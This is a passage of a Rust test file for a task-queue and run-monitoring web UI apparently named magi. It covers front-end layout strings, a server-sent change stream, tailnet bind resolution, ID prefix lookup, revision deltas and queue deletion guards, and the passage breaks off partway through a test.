12010 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12011 }
12012
12013 #[test]
12014 fn run_rows_put_the_title_alone_on_the_first_line() {
12015 assert!(
12016 APP_CSS.contains(
12017 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12018 )
12019 );
12020 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12021 assert!(APP_JS.contains("class: \"card run-card\""));
12022 assert!(APP_JS.contains("class: \"repo run-id\""));
12023 }
12024
12025 #[test]
12029 fn wide_screens_show_list_and_preview_side_by_side() {
12030 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12032 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12033 assert!(APP_CSS.contains("main[data-split]"));
12034 assert!(APP_CSS.contains("body[data-split]"));
12035
12036 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12038 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12039 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12040 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12041 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12042
12043 assert!(APP_JS.contains("function markSelected() {"));
12045 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12046 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12047 assert!(
12049 APP_CSS.contains(
12050 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12051 )
12052 );
12053
12054 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12056 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12057 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12058 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12059
12060 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12064 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12065 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12066 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12067
12068 assert!(APP_JS.contains("sandbox: \"\""));
12070 assert!(!APP_JS.contains("sandbox: \"allow"));
12071 }
12072
12073 #[test]
12074 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12075 assert!(
12084 APP_JS.contains(
12085 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12086 ),
12087 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12088 recursive renderQueue() call has nothing left to jump to"
12089 );
12090 assert!(
12091 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12092 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12093 arrives later still gets it"
12094 );
12095 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12096 assert!(APP_JS.contains("is not in the current Backlog."));
12097 assert!(APP_JS.contains("li.card[data-task-id=\""));
12098 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12099 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12100 assert!(APP_CSS.contains(".card-permalink"));
12101 assert!(APP_CSS.contains(".queue-focus-status"));
12102 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12103 }
12104
12105 #[test]
12106 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12107 assert!(
12115 APP_JS.contains(
12116 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12117 ),
12118 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12119 );
12120 }
12121
12122 #[test]
12123 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12124 assert!(
12125 APP_JS.contains("round.verified_head !== round.head"),
12126 "a round that verified an earlier commit must be visibly distinct from one that \
12127 verified the head reviewers are looking at now"
12128 );
12129 assert!(
12130 APP_JS.contains("round.verified_at"),
12131 "when a check ran must be on the wire, not just which commit"
12132 );
12133 assert!(
12134 APP_JS.contains("resource_blocked"),
12135 "a command magi never got to run (shared build cache contention) must not render \
12136 the same as a command that ran and failed"
12137 );
12138 }
12139
12140 #[test]
12141 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12142 assert!(
12150 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12151 "every KPI tile built through statusTile() must route its click through \
12152 openRunsFiltered, the single place that sets the Runs filter"
12153 );
12154 for (label, status) in [
12155 ("Merged", "merged"),
12156 ("Ready", "ready"),
12157 ("Blocked", "blocked"),
12158 ("Stalled", "stalled"),
12159 ] {
12160 let call = format!("statusTile(\"{label}\", t.{status}, ");
12161 assert!(
12162 APP_JS.contains(&call),
12163 "expected the {label} KPI tile built via {call}..."
12164 );
12165 assert!(
12166 APP_JS.contains(&format!("status === \"{status}\"")),
12167 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12168 compare a run against, not one invented only for the stats tile"
12169 );
12170 }
12171 assert!(
12172 APP_JS.contains("function openRunsFiltered(status)"),
12173 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12174 );
12175 assert!(
12176 APP_JS.contains(
12177 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12178 ),
12179 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12180 );
12181 assert!(
12189 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12190 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12191 hashchange event that may never fire"
12192 );
12193 }
12194
12195 #[test]
12196 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12197 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12203 assert!(
12204 APP_JS.contains(
12205 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12206 ),
12207 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12208 guard for an incompatible tree section"
12209 );
12210 }
12211
12212 #[test]
12213 fn every_stats_queue_tile_names_a_real_queue_section() {
12214 assert!(
12220 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12221 "every queue tile built through sectionTile() must route its click through \
12222 openQueueSectionFocus"
12223 );
12224 for key in ["upnext", "running", "done", "held", "blocked"] {
12225 assert!(
12226 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12227 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12228 );
12229 }
12230 for line in [
12234 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12235 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12236 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12237 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12238 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12239 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12240 ] {
12241 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12242 }
12243 }
12244
12245 #[test]
12246 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12247 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12254 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12255 assert!(APP_JS.contains("function revealQueueSection(details)"));
12256 assert!(
12257 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12258 "renderQueue() must consume both focus channels on every pass"
12259 );
12260 assert!(
12261 APP_JS.contains(
12262 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12263 ),
12264 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12265 the recursive renderQueue() call has nothing left to reveal"
12266 );
12267 assert!(
12268 APP_JS.contains(
12269 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12270 ),
12271 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12272 );
12273 assert!(
12281 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12282 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12283 hashchange event that may never fire"
12284 );
12285 }
12286
12287 #[tokio::test]
12288 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12289 let f = Fixture::start().await;
12290
12291 let mut socket = tokio::net::TcpStream::connect(f.addr)
12292 .await
12293 .expect("connect");
12294 socket
12295 .write_all(
12296 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12297 )
12298 .await
12299 .expect("write request");
12300
12301 let mut seen = String::new();
12304 let mut buf = [0u8; 1024];
12305 while !seen.contains("event: change") {
12306 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12307 .await
12308 .expect("the stream must speak within five seconds")
12309 .expect("read");
12310 assert!(read > 0, "the server closed the change stream: {seen}");
12311 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12312 }
12313
12314 assert!(
12315 seen.to_lowercase()
12316 .contains("content-type: text/event-stream"),
12317 "the browser only reconnects automatically for a real SSE stream: {seen}"
12318 );
12319 let data = seen
12320 .lines()
12321 .find_map(|l| l.strip_prefix("data:"))
12322 .expect("a data line");
12323 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12324 assert!(
12325 payload["queue_rev"].is_u64()
12326 && payload["runs_rev"].is_u64()
12327 && payload["questions_rev"].is_u64()
12328 && payload["talks_rev"].is_u64()
12329 && payload["notifications_rev"].is_u64()
12330 && payload["loop_rev"].is_u64(),
12331 "the client needs one revision per store to know what to refetch, \
12332 and `talks_rev` is the only notification a standing talk gets - a \
12333 phone whose radio slept through a turn learns about it here, as \
12334 does one whose operator started the loop from another device: \
12335 {payload}"
12336 );
12337
12338 let health = f.get("/api/health").await.json();
12345 for key in [
12346 "queue_rev",
12347 "runs_rev",
12348 "questions_rev",
12349 "talks_rev",
12350 "notifications_rev",
12351 "loop_rev",
12352 ] {
12353 assert!(
12354 health[key].is_u64(),
12355 "health is the change stream's fallback and is missing `{key}`: {health}"
12356 );
12357 }
12358 }
12359
12360 #[tokio::test]
12361 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12362 let f = Fixture::start().await;
12363 let before = f.get("/api/health").await.json()["talks_rev"]
12364 .as_u64()
12365 .expect("talks_rev");
12366
12367 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12368 std::thread::sleep(Duration::from_millis(10));
12369 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12370 on_disk.turns.push(crate::talk::Turn {
12371 who: crate::talk::Who::Operator,
12372 body: "a new turn".to_owned(),
12373 at: Timestamp::now(),
12374 attachments: Vec::new(),
12375 usage: None,
12376 });
12377 f.talks().put(&mut on_disk).expect("record a turn");
12378
12379 let after = f.get("/api/health").await.json()["talks_rev"]
12380 .as_u64()
12381 .expect("talks_rev");
12382 assert_ne!(
12383 before, after,
12384 "a phone must be able to notice a talk's reply without polling every store"
12385 );
12386 }
12387
12388 #[test]
12389 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12390 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12394 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12395 }
12396 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12397 assert!("everywhere".parse::<Bind>().is_err());
12398 }
12399
12400 #[test]
12401 fn an_explicit_bind_address_is_taken_verbatim() {
12402 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12403
12404 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12405
12406 assert_eq!(addr, asked);
12407 assert!(
12408 warning.is_none(),
12409 "an operator who named an address gets no lecture"
12410 );
12411 }
12412
12413 #[test]
12414 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12415 let (addr, warning) = resolve_bind(&Bind::Auto);
12416
12417 match addr {
12424 IpAddr::V4(ip) if is_tailnet(&ip) => {
12425 assert!(warning.is_none(), "a tailnet address needs no warning");
12426 }
12427 other => {
12428 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12429 let warning = warning.expect("a fallback has to explain itself");
12430 assert!(
12431 warning.contains("127.0.0.1") && warning.contains("local-only"),
12432 "the warning says what happened and what it costs: {warning}"
12433 );
12434 }
12435 }
12436 }
12437
12438 #[test]
12439 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12440 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12444 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12445 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12446 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12447 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12448 }
12449
12450 #[test]
12451 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12452 let ids = vec![
12453 "20260902-140501-aaaa".to_owned(),
12454 "20260902-140502-aabb".to_owned(),
12455 ];
12456
12457 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12458 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12459 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12460
12461 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12462 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12463 assert_eq!(short, "20260902-140502-aabb");
12464 }
12465 #[tokio::test]
12466 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12467 let fx = Fixture::start().await;
12473 let id = panel(
12474 &fx,
12475 "<img src=\"shot.png\">",
12476 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12477 );
12478
12479 let doc = fx
12481 .get(&format!("/api/questions/{id}/panel/index.html"))
12482 .await;
12483 assert_eq!(doc.status, 200, "{}", doc.body);
12484 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12485
12486 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12487 assert_eq!(sibling.status, 200, "{}", sibling.body);
12488 assert_eq!(sibling.header("content-type"), Some("image/png"));
12489 assert_eq!(
12490 sibling.header("content-security-policy"),
12491 Some(PANEL_CSP),
12492 "the sibling route must carry the same policy as the asset route"
12493 );
12494
12495 assert_eq!(
12498 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12499 200
12500 );
12501 }
12502
12503 #[test]
12504 fn delta_stamps_cover_add_update_remove_and_noop() {
12505 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12506 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12507 let delta = diff_stamps(&before, &after, 42);
12508 assert_eq!(delta.base, 42);
12509 assert_eq!(delta.changed, ["b", "c"]);
12510 assert_eq!(delta.removed, ["a"]);
12511 let same = diff_stamps(&after, &after, 43);
12512 assert!(same.changed.is_empty() && same.removed.is_empty());
12513 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12514 let nanos: Stamps = [("b".into(), (2, 20))].into();
12515 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12516 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12517 assert_eq!(stamps_revision(&Stamps::new()), 0);
12518 }
12519
12520 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12521 std::fs::create_dir_all(home.join("runs")).unwrap();
12522 Arc::new(Ui::new(
12523 Queue::at(home.join("queue")),
12524 Questions::at(home.join("questions")),
12525 Talks::at(home.join("talks")),
12526 home.join("runs"),
12527 home.to_owned(),
12528 PathBuf::from("/repo/magi"),
12529 ))
12530 }
12531
12532 #[tokio::test]
12533 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12534 let home = TempDir::new().unwrap();
12535 let ui = delta_test_ui(home.path());
12536 let mut task = Task::new(
12537 "stream task".into(),
12538 "text".into(),
12539 PathBuf::from("/repo"),
12540 Source::Human,
12541 );
12542 ui.queue.put(&mut task).unwrap();
12543 let response = events(State(ui.clone())).await.into_response();
12544 let mut stream = response.into_body().into_data_stream();
12545 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12546 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12547 .await
12548 .unwrap()
12549 .unwrap()
12550 .unwrap();
12551 let text = String::from_utf8(chunk.to_vec()).unwrap();
12552 let data = text
12553 .lines()
12554 .find_map(|line| {
12555 line.strip_prefix("data: ")
12556 .or_else(|| line.strip_prefix("data:"))
12557 })
12558 .unwrap();
12559 serde_json::from_str(data).unwrap()
12560 }
12561 let initial = change(&mut stream).await;
12562 assert!(initial.get("queue_delta").is_none());
12563 task.instruction.push_str(" changed");
12564 ui.queue.put(&mut task).unwrap();
12565 let updated = change(&mut stream).await;
12566 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12567 assert_eq!(
12568 updated["queue_delta"]["changed"],
12569 serde_json::json!([task.id])
12570 );
12571 assert_eq!(
12572 updated["queue_rev"].as_u64(),
12573 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12574 );
12575 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12576 let removed = change(&mut stream).await;
12577 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12578 assert_eq!(
12579 removed["queue_delta"]["removed"],
12580 serde_json::json!([task.id])
12581 );
12582 }
12583
12584 #[tokio::test]
12585 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12586 let home = TempDir::new().unwrap();
12587 let ui = delta_test_ui(home.path());
12588 let queue = ui.queue.clone();
12589 let query = |ids: Option<&str>| {
12590 Query(ListQuery {
12591 limit: Some(2),
12592 ids: ids.map(str::to_owned),
12593 })
12594 };
12595 let mut root = Task::new(
12596 "root".into(),
12597 "instruction".into(),
12598 PathBuf::from("/repo"),
12599 Source::Human,
12600 );
12601 queue.put(&mut root).unwrap();
12602 let mut blocked = Task::new(
12603 "blocked".into(),
12604 "instruction".into(),
12605 PathBuf::from("/repo"),
12606 Source::Human,
12607 );
12608 blocked.block(vec![root.id.clone()], None);
12609 queue.put(&mut blocked).unwrap();
12610 let whole =
12611 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12612 .unwrap();
12613 let subset = serde_json::to_value(
12614 queue_list(State(ui.clone()), query(Some(&root.id)))
12615 .await
12616 .unwrap()
12617 .0,
12618 )
12619 .unwrap();
12620 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12621 let blockers = serde_json::to_value(
12622 queue_list(State(ui.clone()), query(Some("")))
12623 .await
12624 .unwrap()
12625 .0,
12626 )
12627 .unwrap();
12628 assert_eq!(blockers.as_array().unwrap().len(), 1);
12629 assert_eq!(blockers[0]["id"], blocked.id);
12630 assert_eq!(
12631 blockers[0]["waits_on"],
12632 whole
12633 .as_array()
12634 .unwrap()
12635 .iter()
12636 .find(|row| row["id"] == blocked.id)
12637 .unwrap()["waits_on"]
12638 );
12639
12640 for id in [
12641 "20260902-140501-aaaa",
12642 "20260902-140502-bbbb",
12643 "20260902-140503-cccc",
12644 ] {
12645 write_run(&ui.runs, id, RunStatus::Merged);
12646 }
12647 let old = serde_json::to_value(
12648 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12649 .await
12650 .unwrap()
12651 .0,
12652 )
12653 .unwrap();
12654 assert!(
12655 old.as_array().unwrap().is_empty(),
12656 "older updates must not enter the window"
12657 );
12658 let newest = serde_json::to_value(
12659 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12660 .await
12661 .unwrap()
12662 .0,
12663 )
12664 .unwrap();
12665 assert_eq!(newest.as_array().unwrap().len(), 1);
12666 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12667
12668 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12669 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12670 let talks = serde_json::to_value(
12671 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12672 .await
12673 .unwrap()
12674 .0,
12675 )
12676 .unwrap();
12677 assert_eq!(talks.as_array().unwrap().len(), 1);
12678 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12679 assert_eq!(
12680 serde_json::to_value(
12681 talks_list(State(ui.clone()), query(Some("")))
12682 .await
12683 .unwrap()
12684 .0
12685 )
12686 .unwrap(),
12687 serde_json::json!([])
12688 );
12689 }
12690
12691 #[tokio::test]
12692 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12693 async fn delta_payload_benchmark() {
12694 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12695 let ui = delta_test_ui(&home);
12696 let query = |ids: Option<String>| {
12697 Query(ListQuery {
12698 limit: Some(50),
12699 ids,
12700 })
12701 };
12702 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12703 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12704 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12705 let queue_id = queue
12706 .iter()
12707 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12708 .unwrap_or(&queue[0])
12709 .task
12710 .id
12711 .clone();
12712 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12713 .await
12714 .unwrap()
12715 .0;
12716 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12717 .await
12718 .unwrap()
12719 .0;
12720 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12721 .await
12722 .unwrap()
12723 .0;
12724 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12725 eprintln!(
12726 "DELTA_PAYLOAD {}",
12727 serde_json::json!({
12728 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12729 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12730 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12731 "counts": [queue.len(), runs.len(), talks.len()],
12732 "blocked": queue_delta.len() - 1,
12733 })
12734 );
12735 }
12736
12737 #[test]
12738 fn runs_revision_moves_when_deleting_an_older_run() {
12739 let temp = TempDir::new().expect("tempdir");
12740 let runs = temp.path().join("runs");
12741 std::fs::create_dir_all(&runs).expect("create runs dir");
12742
12743 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12744
12745 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12746 std::thread::sleep(Duration::from_millis(10));
12747 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12748
12749 let rev_before = runs_revision(&runs);
12750 assert!(rev_before > 0);
12751
12752 let old_dir = runs.join("20260901-100000-old1");
12753 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12754
12755 let rev_after = runs_revision(&runs);
12756 assert_ne!(
12757 rev_before, rev_after,
12758 "deleting an older run must change the revision so other clients see the deletion"
12759 );
12760 }
12761
12762 fn write_state(runs: &FsPath, state: &RunState) {
12767 let dir = runs.join(&state.id);
12768 std::fs::create_dir_all(&dir).expect("run dir");
12769 std::fs::write(
12770 dir.join("run.json"),
12771 serde_json::to_string_pretty(state).expect("serialize run"),
12772 )
12773 .expect("write run.json");
12774 }
12775
12776 #[test]
12781 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12782 let temp = TempDir::new().expect("tempdir");
12783 let runs = temp.path().join("runs");
12784 std::fs::create_dir_all(&runs).expect("create runs dir");
12785 let mut state = RunState::new(
12786 PathBuf::from("/repo/magi"),
12787 "main".to_owned(),
12788 "0123456789abcdef".to_owned(),
12789 "task".to_owned(),
12790 Config::default(),
12791 );
12792 state.id = "20260902-100000-c0de".to_owned();
12793 write_state(&runs, &state);
12794
12795 let rev_idle = runs_revision(&runs);
12796 std::thread::sleep(Duration::from_millis(10));
12797 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12798 write_state(&runs, &state);
12799 let rev_started = runs_revision(&runs);
12800 assert_ne!(
12801 rev_idle, rev_started,
12802 "a seat starting must move the revision"
12803 );
12804
12805 std::thread::sleep(Duration::from_millis(10));
12806 state.seat_finished("judge-1");
12807 write_state(&runs, &state);
12808 let rev_finished = runs_revision(&runs);
12809 assert_ne!(
12810 rev_started, rev_finished,
12811 "and clearing it again must move the revision a second time"
12812 );
12813 }
12814
12815 #[tokio::test]
12816 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12817 let fx = Fixture::start().await;
12822 let q = fx.queue();
12823
12824 let mut t = Task::new(
12825 "Task".to_owned(),
12826 "Instruction".to_owned(),
12827 PathBuf::from("/repo"),
12828 Source::Human,
12829 );
12830 t.block(
12831 vec!["20260101-000000-dead".to_owned()],
12832 Some("waiting on Task 1".to_owned()),
12833 );
12834 t.answers.push(crate::queue::AnsweredQuestion {
12835 question: "Which backend?".to_owned(),
12836 answer: "SQLite".to_owned(),
12837 });
12838 q.put(&mut t).expect("put t");
12839
12840 let res = fx.get("/api/queue").await;
12841 assert_eq!(res.status, 200);
12842 let list = res.json();
12843 let view = list
12844 .as_array()
12845 .expect("array")
12846 .iter()
12847 .find(|v| v["id"] == t.id)
12848 .expect("task in list");
12849 assert_eq!(view["status_str"], "blocked");
12850 assert_eq!(
12851 view["blocked_by"],
12852 serde_json::json!(["20260101-000000-dead"])
12853 );
12854 assert_eq!(view["block_reason"], "waiting on Task 1");
12855 assert_eq!(view["answers"][0]["question"], "Which backend?");
12856 assert_eq!(view["answers"][0]["answer"], "SQLite");
12857
12858 let res = fx
12862 .post(&format!("/api/queue/{}/hold", t.short()), None)
12863 .await;
12864 assert_eq!(res.status, 200);
12865 let held = res.json();
12866 assert_eq!(held["status_str"], "held");
12867 assert_eq!(held["blocked_by"], serde_json::json!([]));
12868 assert!(held["block_reason"].is_null());
12869 assert_eq!(held["answers"][0]["answer"], "SQLite");
12870 }
12871
12872 #[tokio::test]
12873 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12874 let fx = Fixture::start().await;
12875 let q = fx.queue();
12876 let mk = |title: &str| {
12877 Task::new(
12878 title.to_owned(),
12879 "Instruction".to_owned(),
12880 PathBuf::from("/repo"),
12881 Source::Human,
12882 )
12883 };
12884 let mut root = mk("root");
12885 root.hold_manual(Some("waiting".to_owned()));
12886 q.put(&mut root).unwrap();
12887 let mut mid = mk("mid");
12888 mid.block(vec![root.id.clone()], None);
12889 q.put(&mut mid).unwrap();
12890 let mut leaf = mk("leaf");
12891 leaf.block(vec![mid.id.clone()], None);
12892 q.put(&mut leaf).unwrap();
12893
12894 let list = fx.get("/api/queue").await.json();
12895 let find = |id: &str| {
12896 list.as_array()
12897 .unwrap()
12898 .iter()
12899 .find(|v| v["id"] == id)
12900 .unwrap()
12901 .clone()
12902 };
12903 let leaf_view = find(&leaf.id);
12904 assert_eq!(
12905 leaf_view["waits_on"],
12906 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12907 );
12908 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12909 assert_eq!(
12910 find(&mid.id)["waits_on"],
12911 serde_json::json!([format!("{} (held)", root.short())])
12912 );
12913 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12914 }
12915
12916 #[tokio::test]
12917 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12918 let fx = Fixture::start().await;
12919 let q = fx.queue();
12920
12921 let mut t1 = Task::new(
12923 "Task 1".to_owned(),
12924 "Instruction 1".to_owned(),
12925 PathBuf::from("/repo"),
12926 Source::Human,
12927 );
12928 let run_id = "20260901-000000-r111";
12929 t1.runs.push(run_id.to_owned());
12930 write_run(&fx.runs(), run_id, RunStatus::Merged);
12931 q.put(&mut t1).expect("put t1");
12932
12933 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12935 assert_eq!(res.status, 204);
12936 assert!(res.body.is_empty(), "204 No Content has no body");
12937 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12938 assert!(
12939 fx.runs().join(run_id).exists(),
12940 "run directory must not be deleted when its task is deleted"
12941 );
12942
12943 let mut t2 = Task::new(
12945 "Task 2".to_owned(),
12946 "Instruction 2".to_owned(),
12947 PathBuf::from("/repo"),
12948 Source::Human,
12949 );
12950 t2.status = TaskStatus::Running;
12951 q.put(&mut t2).expect("put t2");
12952 let mut beat = crate::daemon::Status::new();
12953 beat.current = vec![crate::daemon::Current {
12954 task: t2.id.clone(),
12955 run: "20260901-000000-r222".to_owned(),
12956 }];
12957 beat.updated_at = jiff::Timestamp::now();
12958 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12959 .expect("publish a heartbeat");
12960 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12961 assert_eq!(res.status, 409);
12962 assert!(
12963 res.json()["error"]
12964 .as_str()
12965 .unwrap()
12966 .contains("live daemon")
12967 );
12968 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12969
12970 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12976 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12977 .expect("leave a stale heartbeat");
12978 let mut t3 = Task::new(
